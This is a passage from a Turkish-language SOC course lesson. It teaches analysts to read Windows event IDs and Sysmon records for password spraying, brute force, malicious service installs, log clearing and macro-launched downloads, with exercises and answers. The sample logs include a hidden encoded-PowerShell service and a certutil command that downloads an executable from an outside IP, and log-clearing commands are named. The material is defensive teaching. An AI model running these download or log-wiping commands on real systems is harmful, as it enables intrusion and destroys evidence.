Karşılık: muhasebe ve svc_yedek devre dışı bırakılır, oturumları sonlandırılır, 203.0.113.88 sınırda engellenir, muhasebenin girdiği başka makineler aranır ve 12 hesabın parolası değiştirilir; dışarıya açık RDP'nin nedeni sorulur. Tespit kuralı hesap başına değil kaynak başına yazılır: "bir kaynaktan kısa pencerede çok sayıda farklı hesaba 4625, ardından aynı kaynaktan 4624". Microsoft da önce olağan başarısızlık oranının ölçülmesini, sonra onun aşılmasının uyarı olmasını önerir.
| Saat | Event ID | Hesap | Logon Type | Kaynak | Not |
|---|---|---|---|---|---|
| 09:40:00 | 4624 | a.yilmaz | 2 | 192.168.1.41 | Olağan |
| 09:40:35 | 4624 | m.kaya | 3 | 192.168.1.52 | Olağan |
| 09:42:00 ile 09:42:22 | 4625 x 12 | her satırda başka hesap | 3 | 203.0.113.88 | Status 0xC000006D, Sub Status 0xC000006A |
| 09:42:26 | 4624 | muhasebe | 3 | 203.0.113.88 | Püskürtme tuttu |
| 09:43:10 | 4624 | muhasebe | 10 | 203.0.113.88 | Uzak Masaüstü |
| 09:44:22 | 4720 | muhasebe açtı: svc_yedek | Yeni hesap | ||
| 09:44:24 | 4732 | svc_yedek, Administrators | Yetki yükseltme | ||
| 09:46:11 | 1102 | svc_yedek | Günlük temizlendi |
Kaba kuvvet, numaralandırma ve kilitlenme
Kaba kuvvetin görüntüsü püskürtmenin tersidir: tek hesap, çok deneme. Aşağıdaki kesitte 198.51.100.23 adresinden b.demir hesabına bir dakikadan kısa sürede çok sayıda 4625 gelir. İlk satırlarda Sub Status 0xC000006A (parola yanlış), sonra Status 0xC0000234 (hesap kilitli) görülmeye başlar ve araya bir 4740 girer. Kilitlendikten sonra gelen denemeler artık parolayı denemez bile, yalnız kilide çarpar.
Bu kesitten çıkan sonuç: saldırı başarısızdır (aynı kaynaktan 4624 yok), ama kullanıcı da artık giremez; kilitleme mekanizması kendi başına bir hizmet engellemeye (denial of service) dönüşebilir. Saldırgan hesapları bilerek kilitlemek için de bu yolu kullanabilir. İnceleme soruları: kaynak iç mi dış mı, bu hesap dışarıya açık bir hizmette (RDP, OWA, VPN) kullanılıyor mu, 4740'ın Caller Computer Name alanı hangi makineyi gösteriyor?
Masum bir benzer de vardır: parolası yeni değişmiş bir kullanıcının telefonu ya da eski parolayla kalmış bir servis. O zaman kaynak bir iç adres ya da kullanıcının kendi makinesidir, denemeler dakikalar arayla ve düzenli gelir ve kullanıcı başka bir makineden sorunsuz girer. Dış adres, saniyeler içinde onlarca deneme ve gece saati ise saldırıdır.
Numaralandırmanın imzası farklıdır: Sub Status 0xC0000064 ve Account Name'de var olmayan, sözlükten gelen adlar (admin, test, scanner, backup). Saldırgan önce hangi adların var olduğunu bulur, sonra yalnız onlara püskürtme yapar; bu yüzden bir 0xC0000064 dalgasının ardından 0xC000006A dalgası gelmesi, hazırlıktan saldırıya geçildiğini gösterir.
10:15:02 4625 Account=b.demir LogonType=3 Source=198.51.100.23 Status=0xC000006D SubStatus=0xC000006A 10:15:03 4625 Account=b.demir LogonType=3 Source=198.51.100.23 Status=0xC000006D SubStatus=0xC000006A 10:15:04 4625 Account=b.demir LogonType=3 Source=198.51.100.23 Status=0xC000006D SubStatus=0xC000006A ... (aynı satırdan 7 tane daha) 10:15:12 4740 A user account was locked out. Account=b.demir CallerComputerName=WS-EXT-01 10:15:13 4625 Account=b.demir LogonType=3 Source=198.51.100.23 Status=0xC0000234 SubStatus=0x0 10:15:14 4625 Account=b.demir LogonType=3 Source=198.51.100.23 Status=0xC0000234 SubStatus=0x0
Yeni servis kurulumu: 7045 ve 4697
Servis, saldırganın en sevdiği kalıcılık ve yürütme yollarından biridir (T1543.003 Windows Service): makine her açıldığında, çoğu zaman SYSTEM yetkisiyle çalışır. Uzaktan yönetim araçlarının bir kısmı da hedef makinede geçici bir servis kurarak komut çalıştırır; bu yüzden bir sunucuda beklenmeyen bir 7045, hem kalıcılığın hem de yanal hareketin izi olabilir.
İki kayıt aynı kurulumun iki yüzüdür. Kırmızı bayraklar Microsoft'un önerileriyle örtüşür: Service File Name %windir% ya da Program Files altında değil, komut yorumlayıcısı (cmd.exe /c) üzerinden gizli pencerede kodlanmış bir PowerShell çalıştırıyor; ad rastgele; hesap LocalSystem. Microsoft ayrıca Service Type 0x1, 0x2 ya da 0x8 (çekirdek sürücüsü, dosya sistemi sürücüsü, açılışta dosya sistemlerini tanıyan sürücü) ve Service Start Type 0 ya da 1 (boot, system) olan kurulumların her zaman raporlanmasını önerir; bunlar işletim sistemiyle birlikte, sınırsız yetkiyle başlar.
Bağlamı kurmak için 4697'nin Subject\Logon ID'si alınır ve aynı Logon ID'li 4624 aranır: burada 10:21:40'ta 192.168.1.77'den yonetici hesabıyla tür 3 bir oturum vardır. Yani servis, ağdan gelen bir yönetici oturumuyla, uzaktan kurulmuştur. Sonraki adım 192.168.1.77'ye bakmaktır: o makinede yonetici hesabı neden kullanıldı, orada 4648 var mı, makine kimindir? Süreç oluşturma denetimi ya da Sysmon varsa, servisin başlattığı süreç de ebeveyni services.exe olan bir cmd.exe olarak görünür.
System 7045 Service Control Manager A service was installed in the system. Service Name: qzvtmrka Service File Name: %COMSPEC% /b /c start /b /min powershell -nop -w hidden -enc SQBFAFgAIAAoA... Service Type: user mode service Service Start Type: demand start Service Account: LocalSystem Security 4697 Microsoft-Windows-Security-Auditing A service was installed in the system. Subject: Account Name: yonetici Account Domain: EXAMPLE Logon ID: 0x9C21E4 Service Information: Service Name: qzvtmrka Service File Name: %COMSPEC% /b /c start /b /min powershell -nop -w hidden -enc SQBFAFgAIAAoA... Service Type: 0x10 Service Start Type: 3 Service Account: LocalSystem
Temizlenen günlük: 1102 ve 104
Günlük temizlemek, MITRE ATT&CK v20'de T1685.005 Clear Windows Event Logs (eski kimliği T1070.001; o adres artık buraya yönlenir) olarak geçer ve Defense Impairment (TA0112) taktiğine bağlıdır. Saldırganın amacı açıktır: oturum açma, hesap açma ve servis kurma izlerini yok etmek. Ama temizlik kendi izini bırakır.
Security temizlenince 1102 yeni günlüğün ilk kaydıdır. Olay Microsoft-Windows-Eventlog sağlayıcısından gelir, EventData yerine UserData altında LogFileCleared öğesini taşır ve SubjectUserName, SubjectDomainName, SubjectLogonId alanlarını verir. System ya da Application temizlenince System günlüğüne 104 düşer. Microsoft'un 1102 için yorumu kısadır: bu olayı normalde görmemeniz gerekir; Security günlüğünü elle temizlemek için çoğu durumda bir neden yoktur.
Okuma örneği: 1102'nin Subject'i svc_yedek, SubjectLogonId 0x7B10A2. Makinede önceki kayıtlar silindiği için bu Logon ID artık orada aranamaz; ama kayıtlar bir SIEM'e iletiliyorsa merkezde aynı Logon ID'li 4624 bulunur. Temizlikten hemen önceki 4688 ya da 4104 kayıtları temizliğin hangi komutla yapıldığını (wevtutil cl Security, Clear-EventLog) gösterir.
İki ders çıkar. Birincisi, günlükleri makinenin dışına anında iletmek temizlemeyi etkisiz kılan tek gerçek savunmadır. İkincisi, 1102 kendi başına yüksek öncelikli bir uyarıdır ve "kim, hangi oturumdan, neden?" sorusu yanıtlanmadan kapatılmaz. 1102 yok ama günlükte açıklanamayan saatlerce bir boşluk varsa, Event Log servisinin durdurulmuş olabileceği düşünülür ve System günlüğüne bakılır.
Sysmon olaylarını okumak: süreç ağacı ve hash
Aşağıdaki Sysmon 1 kaydı, önceki derste süreç ağacında gördüğünüz Word'den PowerShell'e zincirin günlükteki karşılığıdır. Okuma sırası: Image (ne çalıştı), CommandLine (nasıl), ParentImage ve ParentCommandLine (kim başlattı; burada indirilmiş bir .docm), User ve LogonId (hangi oturumda), Hashes (hangi dosya). Hash Microsoft'un PowerShell'iyle aynı olabilir; sorun dosyada değil, onu kimin ve nasıl başlattığındadır (T1059.001 PowerShell).
Sonraki adım ProcessGuid ile ilerlemektir: aynı ProcessGuid'li Sysmon 3 (nereye bağlandı?), 22 (hangi adı sordu?), 11 (hangi dosyayı yazdı?) ve ParentProcessGuid'i bu süreç olan yeni Sysmon 1'ler (ne başlattı?). Betik bloğu kaydı açıksa 4104'te kodlanmış komutun açık metni okunur. Zincir, belgeden komuta, komuttan ağa uzanan hikâyeyi kayıtlarla kurar.
Diğer olaylardan en değerli ikisi: Sysmon 10 (ProcessAccess) TargetImage lsass.exe olduğunda LSASS belleğinden kimlik bilgisi okuma girişimini (T1003.001 LSASS Memory) gösterebilir; güvenlik ürünleri de LSASS'ı açtığı için bilinen erişimciler dışarıda bırakılarak süzülür. Sysmon 8 (CreateRemoteThread) bir sürecin başka bir süreçte iş parçacığı başlatmasıdır; SourceImage ile TargetImage arasında olağan bir ilişki yoksa kod enjeksiyonu (T1055 Process Injection) adayıdır.
Sysmon'un sınırları da bilinmelidir. Yalnız yapılandırmanın izin verdiğini kaydeder; ağ (3) ve modül yükleme (7) varsayılanda kapalıdır. Yönetici yetkisi ele geçirmiş bir saldırgan onu kaldırabilir ya da yapılandırmasını değiştirebilir; bu da iz bırakır (Sysmon 4 servis durumu, Sysmon 16 yapılandırma değişikliği). Sysmon bir EDR değildir: analiz etmez, neredeyse yalnız kayıt üretir (14. sürümden beri tek istisna, 27 ve 28 numaralı olaylarda çalıştırılabilir dosya yazmayı ve dosya parçalamayı engelleyebilmesidir).
Process Create:
RuleName: -
UtcTime: 2026-11-15 07:12:44.118
ProcessGuid: {5f2a1c3e-0b1c-6737-2c04-000000000a00}
ProcessId: 6120
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
OriginalFileName: PowerShell.EXE
CommandLine: powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoA...
CurrentDirectory: C:\Users\m.kaya\Documents\
User: EXAMPLE\m.kaya
LogonId: 0x3A4F21
IntegrityLevel: Medium
Hashes: SHA256=4D1C0B8E27F6A93D5E0C1B7A2F94E6D8C3B5A1F07E2D9C4B6A8F1E3D5C7B9A20
ParentProcessGuid: {5f2a1c3e-0a87-6737-1e04-000000000a00}
ParentProcessId: 4412
ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
ParentCommandLine: "C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE" /n "C:\Users\m.kaya\Downloads\fatura_2026.docm"
ParentUser: EXAMPLE\m.kayaSık yapılan okuma yanlışları
- Olayı yanlış makinede aramak: 4624 ve 4625 erişilen makinede, 4648 kaynağın tarafında yazılır.
- Her tür 3'ü saldırı saymak: Bir dosya sunucusu günde binlerce tür 3 oturum yazar; anlamı kaynak, hesap ve saat birlikte verir.
- Gürültüyü süzmeyi unutmak: Sonu
$ile biten bilgisayar hesapları, tür 5 servis oturumları veANONYMOUS LOGONsatırları 4624'lerin büyük kısmını oluşturur. Önce bunları ayırmak, kalan küçük kümede insanın ve saldırganın izini görünür kılar. - Olayın yokluğunu kanıt saymak: 4688 yok diye süreç çalışmadı denemez; önce
auditpol /get /category:*ile ilke denetlenir. Günlük döngüsel olduğu için eski kayıtların üzerine yazılmış da olabilir:wevtutil gl Securityile boyut ve kip,Get-WinEvent -Oldest -MaxEvents 1ile günlüğün ne kadar geriye gittiği görülür.
Okumak bilmek değildir. Her antrenmanı önce kendiniz yapın, cevabı sonra açın.
Kendi bilgisayarınızda
Kendi denetim ilkenizi okuyun
Kendi bilgisayarınızda denetim ilkesini listeleyin ve bu derste geçen olayların hangilerinin makinenizde gerçekten üretileceğini çıkarın. Komut yalnız okur, hiçbir ayarı değiştirmez.
- Başlat menüsünde Komut İstemi'ne sağ tıklayıp 'Yönetici olarak çalıştır' deyin. Önce yönetici olmayan bir pencerede deneyip hata kodunu görmek de öğreticidir.
auditpol /get /category:*çalıştırın.- Logon/Logoff altında Logon, Logoff, Account Lockout ve Special Logon satırlarını; Detailed Tracking altında Process Creation'ı; System altında Security System Extension'ı; Object Access altında Other Object Access Events'i; Account Management altında Security Group Management'ı okuyun.
- Her satır için bu derste geçen hangi Event ID'yi ürettiğini yazın ve 'üretilir' ya da 'üretilmez' diye işaretleyin.
Cevap: Yönetici olmayan pencerede komut 'Error 0x00000522' ile, bir yetkinin eksik olduğunu söyleyerek durur. Yönetici penceresinde, ilkesine hiç dokunulmamış bir Windows 10 ya da 11'de Microsoft'un tablosuna uygun olarak büyük olasılıkla Logon için 'Success and Failure' (4624, 4625), Logoff için 'Success' (4634, 4647), Account Lockout için 'Success' (4740), Special Logon için 'Success' (4672) görürsünüz. Process Creation, Security System Extension, Other Object Access Events ve Security Group Management ise 'No Auditing' yazar: bu makinede 4688, 4697, 4698 ve 4728, 4732, 4756 hiç üretilmez. Kurumsal bir makinede Grup İlkesi bunları açmış olabilir; fark varsa hangi ilkenin uygulandığınıgpresult /rile görebilirsiniz. Sonuç şudur: bu makinede biri servis kursa Security günlüğünde iz kalmaz, yalnız System günlüğündeki 7045 kalır.Kendi bilgisayarınızda
Kendi oturumlarınızın profilini çıkarın
Yönetici olarak açılmış PowerShell'de kendi makinenizin son başarılı oturumlarını oturum türüne göre sayın, sonra son başarısız denemelere bakın. Komutlar yalnız okur.
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} -MaxEvents 200 | ForEach-Object { $d=@{}; ([xml]$_.ToXml()).Event.EventData.Data | ForEach-Object { $d[$_.Name]=$_.'#text' }; [pscustomobject]@{Hesap=$d.TargetUserName; Tur=$d.LogonType} } | Group-Object Tur -NoElementçalıştırın.- Aynı komutta
Group-Object TuryerineGroup-Object Hesap -NoElementyazarak hangi hesapların oturum açtığını görün. Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 10ile başarısız denemelere bakın; hiç yoksa komut 'No events were found that match the specified selection criteria' der.Get-WinEvent -LogName Security -Oldest -MaxEvents 1ile günlüğünüzün ne kadar geriye gittiğine bakın.
Cevap: Tipik bir ev ya da ofis bilgisayarında en kalabalık tür 5'tir (servisler SYSTEM, LOCAL SERVICE, NETWORK SERVICE gibi hesaplarla oturum açar); ardından 2 (sizin girişiniz), 7 (kilit açma) ve bazen 11 gelir. Tür 3 yoksa makineye ağdan bağlanılmamıştır; varsa kaynağı ve hesabı tanıyor musunuz diye bakın. Sonu $ ile biten bilgisayar hesabı ve DWM-, UMFD- ile başlayan sistem hesapları olağandır. Kendi hesabınızda 4625 görürseniz büyük olasılıkla parolayı ya da PIN'i yanlış girdiğiniz anlardır: Logon Type 2 ya da 7, Sub Status 0xC000006A. En eski kaydın tarihi makinenizde kaç günlük kanıt durduğunu söyler; döngüsel günlükte bu süre olay yoğunluğuna bağlıdır.Oku ve yorumla
Püskürtme mü, kaba kuvvet mi, numaralandırma mı?
Aşağıdaki üç kesit üç ayrı sunucudan geliyor. Her birinin ne olduğunu, hangi alanın bunu söylediğini ve sıradaki adımı yazın.
Kesit A (SRV-01): 11:02:10 4625 Account=admin Source=203.0.113.40 SubStatus=0xC0000064 11:02:11 4625 Account=test Source=203.0.113.40 SubStatus=0xC0000064 11:02:11 4625 Account=backup Source=203.0.113.40 SubStatus=0xC0000064 11:02:12 4625 Account=scanner Source=203.0.113.40 SubStatus=0xC0000064 Kesit B (SRV-02): 14:30:01 4625 Account=e.aydin Source=198.51.100.9 SubStatus=0xC000006A 14:30:02 4625 Account=e.aydin Source=198.51.100.9 SubStatus=0xC000006A 14:30:02 4625 Account=e.aydin Source=198.51.100.9 SubStatus=0xC000006A ... (aynısından 40 satır) 14:30:40 4624 Account=e.aydin LogonType=3 Source=198.51.100.9 Kesit C (SRV-03): 02:11:05 4625 Account=s.celik Source=203.0.113.71 SubStatus=0xC000006A 02:11:35 4625 Account=t.kurt Source=203.0.113.71 SubStatus=0xC000006A 02:12:05 4625 Account=z.arslan Source=203.0.113.71 SubStatus=0xC000006A 02:12:35 4625 Account=h.sahin Source=203.0.113.71 SubStatus=0xC000006A
Cevap: Kesit A kullanıcı adı numaralandırmasıdır: Sub Status 0xC0000064 bu hesapların hiçbirinin var olmadığını söyler ve adlar sözlükten gelen genel adlardır. Sıradaki adım aynı kaynaktan 0xC000006A dalgası gelip gelmediğine ve kaynağın başka sunuculara dokunup dokunmadığına bakmak, kaynağı engellemektir. Kesit B tek hesaba kaba kuvvettir ve başarıya ulaşmıştır: kırk küsur 0xC000006A'dan sonra aynı kaynaktan e.aydin ile 4624 gelmiştir; kilitlenme olmaması kilitleme eşiğinin olmadığını gösterir. Hesap devre dışı bırakılır, oturumu sonlandırılır, aynı Logon ID ile sonraki olaylar (4672, 4688, 4697, 4720) aranır, parola sıfırlanır. Kesit C parola püskürtmedir: tek kaynak, her satırda başka ve var olan bir hesap, hesap başına bir deneme. Otuz saniyelik düzenli aralık kurallara takılmamak için yavaş gidildiğini gösterir; gece saati de olağan dışıdır. Sıradaki adım aynı kaynaktan herhangi bir hesapta 4624 aramaktır.Oku ve yorumla
Bir süreç ağacını okuyun
Aşağıdaki iki Sysmon kaydı aynı makineden, art arda geliyor. Ne olduğunu, hangi alanların bunu söylediğini ve hangi olaylara bakmaya devam edeceğinizi yazın.
Event ID 1 (Process Create) UtcTime: 2026-11-15 07:31:02.410 ProcessGuid: {7a1e44c2-1d2f-6737-4a05-000000000b00} Image: C:\Windows\System32\cmd.exe CommandLine: cmd.exe /c certutil -urlcache -f http://198.51.100.61/a.txt C:\Users\Public\a.exe User: EXAMPLE\b.demir ParentImage: C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE Event ID 11 (File created) UtcTime: 2026-11-15 07:31:03.022 Image: C:\Windows\System32\certutil.exe TargetFilename: C:\Users\Public\a.exeCevap: Excel bir komut yorumlayıcısı başlatmıştır; olağan bir tablo kullanımında EXCEL.EXE'nin cmd.exe başlatması beklenmez, bu bir makronun komut çalıştırdığını gösterir (ParentImage alanı). Komut satırı, sertifika aracı certutil'i bir dış adresten dosya indirmek için kullanıyor ve dosyayı .txt adıyla isteyip herkesin yazabildiği C:\Users\Public altına .exe olarak kaydediyor (CommandLine alanı). Sysmon 11 indirmenin gerçekleştiğini, dosyanın diske yazıldığını doğrular (TargetFilename). Devam edilecek olaylar: aynı ProcessGuid ve certutil için Sysmon 3 (198.51.100.61'e bağlantı) ve Sysmon 22 (ad sorgusu varsa), Image'i C:\Users\Public\a.exe olan bir Sysmon 1 (dosya çalıştırıldı mı, hash'i ne?), o sürecin 3, 10 ve 13 olayları. Hash bulunursa kurumun bütün makinelerinde aranır, 198.51.100.61 engellenir ve Excel'in açtığı belgenin nereden geldiği (e-posta eki, indirme) bulunur.Laboratuvarda
Laboratuvar: püskürtmeden iz silmeye zinciri kurun
SOC laboratuvarının sayfasındaki 'Log izleme' bölümünde Windows günlük setini açın ve olayları Event ID'lerine göre okuyarak saldırının zaman çizelgesini kurun.
- Laboratuvar sayfasında 'Log izleme' bölümüne inin ve 'Parola püskürtme ve iz silme' sekmesini seçin. Kaynak satırı 'Windows · Security günlüğü', makine DC01'dir.
- Arama kutusuna
event_id=4625yazın: kaç satır var, hepsi aynı kaynaktan mı, hesaplar farklı mı, ilk ve son satır arasında kaç saniye geçmiş? Bir satıra dokunup sub_status alanını okuyun. - Arama kutusuna
src_ip=203.0.113.88 event_id=4624yazın: hangi hesap, hangi saatte ve hangi logon_type değerleriyle girmiş? İki satırın tür farkı ne anlatıyor? user=muhasebeve ardındantarget_user=svc_yedekile, son olarakuser=svc_yedekile süzün: saldırgan girdikten sonra hangi olayları üretmiş, aralarında kaç saniye var?- Aramayı temizleyip 'Yüksek ve üstü' düğmesine basın ve kalan satırlarla zinciri baştan sona yazın; sonra bölümün altındaki dört soruyu cevaplayın.
- Son olarak şunu düşünün: 1102 bu makinedeki kayıtları sildiyse bu kesiti nereden okuyor olabilirsiniz?
Cevap: 09:42:00 ile 09:42:22 arasında 203.0.113.88'den 12 ayrı hesaba ikişer saniye arayla birer 4625 vardır; hepsi Logon Type 3 ve Sub Status 0xC000006A: hesaplar gerçek, parola yanlış, hesap başına tek deneme, yani parola püskürtme. 09:42:26'da aynı adresten muhasebe ile tür 3 bir 4624 gelir: püskürtme bu hesapta tutmuştur. 09:43:10'da aynı hesap tür 10 ile, Uzak Masaüstünden girer. 09:44:22'de muhasebe svc_yedek hesabını açar (4720), 09:44:24'te onu Administrators grubuna ekler (4732): kalıcılık ve yetki yükseltme. 09:46:11'de svc_yedek Security günlüğünü temizler (1102). 09:45:00'teki e.aydin tür 2 oturumu olağandır. Soruların cevapları: 4625, muhasebe, svc_yedek, 1102. Bu kesiti ancak kayıtlar temizlikten önce bir merkeze iletildiyse okuyabilirsiniz; DC01'in kendi günlüğünde 1102'den öncesi kalmamıştır.
Bu dersin 28 puanlanan sorusundan her seferinde karışık 20 tanesi gelir: çoktan seçmeli, senaryo, doğru-yanlış ve boşluk doldurma. Her soru bir kez cevaplanır ve açıklaması hemen gösterilir. Geçme ölçütü %80.
Yazarak cevaplanacak sorular
Bunlar puanlanmaz. Cevabınızı kâğıda ya da not defterinize yazın, sonra ölçütlerle karşılaştırın. Bir şeyi kendi cümlelerinizle anlatmak, bildiğinizi sandığınız yerdeki boşluğu gösterir.
Gece 02:00'de bir sunucu için 'olası parola püskürtme' uyarısı geldi. Security günlüğünde hangi olaylara, hangi alanlarla ve hangi sırayla bakarsınız? Püskürtmeyi kaba kuvvetten ve numaralandırmadan nasıl ayırırsınız, saldırının başarıya ulaşıp ulaşmadığını nasıl anlarsınız ve başarılıysa ne yaparsınız?
Kurumunuzun iş istasyonlarına Sysmon kurulmasını öneriyorsunuz. Sysmon'un Security günlüğüne ne kattığını, hangi olaylarının neden önemli olduğunu, yapılandırma dosyasının rolünü ve aracın sınırlarını yöneticinize anlatır gibi açıklayın.